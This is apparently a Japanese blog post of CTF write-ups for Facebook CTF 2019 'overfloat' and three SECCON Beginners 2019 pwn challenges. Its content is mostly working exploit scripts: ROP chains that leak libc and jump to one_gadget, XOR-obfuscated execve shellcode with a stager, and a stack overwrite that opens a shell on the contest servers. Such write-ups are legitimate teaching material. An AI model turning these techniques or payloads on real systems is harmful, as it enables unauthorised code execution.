Facebook CTF 2019 writeup : overfloat

これしか解けませんでした。
otp_serverは解けそうだったもののnonceをガチャる方法がよくわからず敗退。

Writeup

なにやってるのかよくわからないが、2つの値をセットで読み込んで、それらはfloat型で保持されるらしい。
コードをぱっと読んでも何も浮かばなかったのでファジングを試みた。

from pwn import *
import time
context.log_level = "DEBUG"

count = 1
while True:
    p = process("./overfloat")
    p.recv()
    print(count)
    for i in range(count):
        p.sendline(b"1")
        p.sendline(b"1")
        p.recv()
    p.sendline(b"done")
    p.recv()
    if p.poll(block = True) is not 0:
        break
    count += 1
print(count)

上記を実行すると、8回目のループで例外が発生した。
gdbで詳しく見ると、8回目のループでリターンアドレスを書き換えている。
つまり、14回の入力まででbase addressを書き換えることができ、次でリターンアドレスを書き換えripを制御できる。

今回、値はfloat型で保持されるため、入力は4byteの浮動小数点として格納される。
そのため、浮動小数点として変換されたさいに目的の値になるように入力を行う必要がある。
また、8byteの値を書き込みたい場合2回に分ける必要がある。

exploit

ropによるputs_plt(puts_got)を用いたlibcのリーク → one_gadgetの書き込みの手順を行う。

from pwn import *
import time
import binascii
# context.log_level="DEBUG"


def hex_to_float(s):
    s = s[2:]
    s = "0"*(8 - len(s)) + s
    return format(struct.unpack('>f', binascii.unhexlify(s))[0], ".10g")


def number_to_floatbytes(n):
    return str(hex_to_float(hex(n))).encode("utf-8")


def write_buf(buf):
    for b in buf:
        p.sendline(number_to_floatbytes(b))
        p.sendline(b"0")
    p.sendline("done")


pop_rdi = 0x00400a83
puts_plt = 0x00400690
puts_got = 0x00602020
libc_puts = 0x0000000000809c0
one_gadget = 0x10a38c
main = 0x0400993
# p = process("./overfloat")
# gdb.attach(p, """
#        set follow-fork-mode child
#        c
# """)
# time.sleep(1)

p = remote("challenges.fbctf.com", 1341)

# stage1 : leak libc address
for j in range(14):
    p.sendline(str(j).encode("utf-8"))
    print(p.recv())

# make ropchain to leak puts_got
buf = []
buf.append(pop_rdi)
buf.append(puts_got)
buf.append(puts_plt)
buf.append(main)
write_buf(buf)

# calculate libc_base
p.recvline()
r = p.recvuntil(b"\x7f")
puts = u64(r.ljust(8, b"\x00"))
libc_base = puts - libc_puts

# make one_gadget address
target = libc_base + one_gadget
print("[+]target " + hex(target))

# padding float size
tmp = hex(target)[2:]
pad_target = "0"*(16 - len(tmp)) + tmp
low = pad_target[8:16]
high = pad_target[0:8]

print("[*]low " + low)
print("[*]high " + high)

# stage2 : write one_gadge
for j in range(14):
    p.sendline(str(j).encode("utf-8"))
    p.recv()

p.sendline(number_to_floatbytes(int(low, 16)))
p.sendline(number_to_floatbytes(int(high, 16)))
p.sendline(b"done")
p.interactive()

シェルを操作してflagを読んで終わり。

SECCON Beginners 2019 のPwnのWriteup

f:id:Nperair:20190526162439p:plain
douroとしてソロ参加しました。2000pt獲得しての41位でした。

少しずつ手を付けて主にpwnとrevを頑張りました。

無駄に時間を使って手をつけれなかった問題があり、反省点です。 babyheapはdouble freeでエラーを吐いて無理だったのですが、libcのバージョンが駄目だったらしい。

shellcoder

/bin/shの文字列が使えないので,xorする処理を考えるが、バイト数の制限が面倒。

stagerを書いて、mmapされている領域の余った部分にreadで追加のシェルコードを書いて処理を飛ばす。0x1000もあるので自由だし、長さを気にせず書ける。
nxbitが立っているので、mmapされていないスタックに飛ばすと止まるので注意。

stager.s

section .text
     global _start
     _start:
        mov rsi,rdx
        add rsi,0x40
        mov rdi,0
        mov rdx,136
        xor rax,rax
        syscall
        jmp rsi

shellcode.s

section .text
  global _start
    _start:
      push rbp
      mov rbp,rsp
      push rax
      xor rdx, rdx
      xor rsi, rsi
      mov rbx,QWORD 0x544f131352555e13
      push rbx
      
      lea rax,[rsp]
      mov cl,byte [rax]
      xor cl,0x3c
      mov byte [rax],cl
      add rax,0x1
      
      mov cl,byte [rax]
      xor cl,0x3c
      mov byte [rax],cl
      add rax,0x1
      mov cl,byte [rax]
      xor cl,0x3c
      mov byte [rax],cl
      add rax,0x1
      mov cl,byte [rax]
      xor cl,0x3c
      mov byte [rax],cl
      add rax,0x1
      mov cl,byte [rax]
      xor cl,0x3c
      mov byte [rax],cl
      add rax,0x1
      mov cl,byte [rax]
      xor cl,0x3c
      mov byte [rax],cl
      add rax,0x1
      mov cl,byte [rax]
      xor cl,0x3c
      mov byte [rax],cl
      add rax,0x1
      mov cl,byte [rax]
      xor cl,0x3c
      mov byte [rax],cl
      add rax,0x1
      mov QWORD [rax],0
      push rsp
      pop rdi
      xor rbx,rbx
      xor rcx,rcx
      mov rax, 59
      syscall

シェルコードを生成するスクリプト
gencode.sh

nasm -f elf64 $1.s
ld -o $1 $1.o
objdump -d $1 | grep -Po '\s\K[a-f0-9]{2}(?=\s)' | sed 's/^/\\x/g' | perl -pe 's/\r?\n//' | sed 's/$/\n/'

ループはjmp先の記憶が面倒なので一文字ずつxorしていったが、まとめてxorしたほうがよい。
確実に動作するためジャンプ先にあるゴミを除去し(/bin/shの末尾をnull終端)、一応色々なレジスタを初期化するコードを書いた。 わかりやすさ重視でいってしまったが格好悪いコードになった。

from pwn import *

p = remote("153.120.129.186", 20000)
print(p.recv())
shellcode = b"\x55\x48\x89\xe5\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x13\x5e\x55\x52\x13\x13\x4f\x54\x53\x48\x8d\x04\x24\x8a\x08\x80\xf1\x3c\x88\x08\x48\x83\xc0\x01\x8a\x08\x80\xf1\x3c\x88\x08\x48\x83\xc0\x01\x8a\x08\x80\xf1\x3c\x88\x08\x48\x83\xc0\x01\x8a\x08\x80\xf1\x3c\x88\x08\x48\x83\xc0\x01\x8a\x08\x80\xf1\x3c\x88\x08\x48\x83\xc0\x01\x8a\x08\x80\xf1\x3c\x88\x08\x48\x83\xc0\x01\x8a\x08\x80\xf1\x3c\x88\x08\x48\x83\xc0\x01\x8a\x08\x80\xf1\x3c\x88\x08\x48\x83\xc0\x01\x48\xc7\x00\x00\x00\x00\x00\x54\x5f\x48\x31\xdb\x48\x31\xc9\xb8\x3b\x00\x00\x00\x0f\x05"
stager = b"\x48\x89\xd6\x48\x83\xc6\x40\xbf\x00\x00\x00\x00\xba\x88\x00\x00\x00\x48\x31\xc0\x0f\x05\xff\xe6"
print(len(shellcode))
print(len(stager))
p.sendline(stager)
p.sendline(shellcode)
p.interactive()

OneLine

適当に一文字書き込んでwriteのアドレスをリークすることができる。
libcのアドレスしかわからないのでone gadget rceするのがはやい。
もちろんlibcのガジェットを用いてropすることもできると思う。
bofのオフセットは出すのが面倒だったので適当にたくさん入力した。

from pwn import *
import time
context.log_level="DEBUG"
#server = process(["socat","tcp-listen:1234,fork,reuseaddr","exec:./speedrun-001"])
#gdb.attach(server, """
#        set follow-fork-mode child
#        c
#""")
#time.sleep(2)
one_gadget = 0x10a38c
libc_write = 0x000000000110140
p = process("./oneline")
p = remote("153.120.129.186",10000)
print(p.recv())
p.send("\x00")
leak = p.recvuntil(b"\x7f")
tmp = leak[32:]
leaked_write = u64(tmp+b"\x00"*(8-len(tmp)))
print(hex(leaked_write))
offset = leaked_write - libc_write
target = one_gadget + offset
p.send(p64(target)*0x10)
p.interactive()

memo

確保できる領域のサイズに制限があるが、素直に大きく確保するとスタックから離れてしまう。
しかし、unsignedな比較を行っているため、負の値を入力できる。 適当に試行錯誤し、rbp+8のリターンアドレスに書き込めるようにする。
hiddenのsystemを呼び出すことになるが、このときrsp+0x40のアドレスの末尾を0にしていなければmovaps命令の制約によりエラーが出る。
retを用いてスタックをずらすことで解決した。

from pwn import *
import time
#p = process("./memo")
#context.log_level="DEBUG"
#gdb.attach(p, """
#        set follow-fork-mode child
#        c
#""")
#time.sleep(2[f:id:Nperair:20190526162439p:plain])
hidden = 0x00000000004007bd
ret = 0x0040056e
p = remote("133.242.68.223",35285)
print(p.recv())
p.sendline(str(-0x61).encode("utf-8"))
print(p.recv())
buf = p64(0)
buf += p64(ret)
buf += p64(hidden)
buf += b"\x00"*0x400
p.sendline(buf)
print(p.recv())

p.interactive()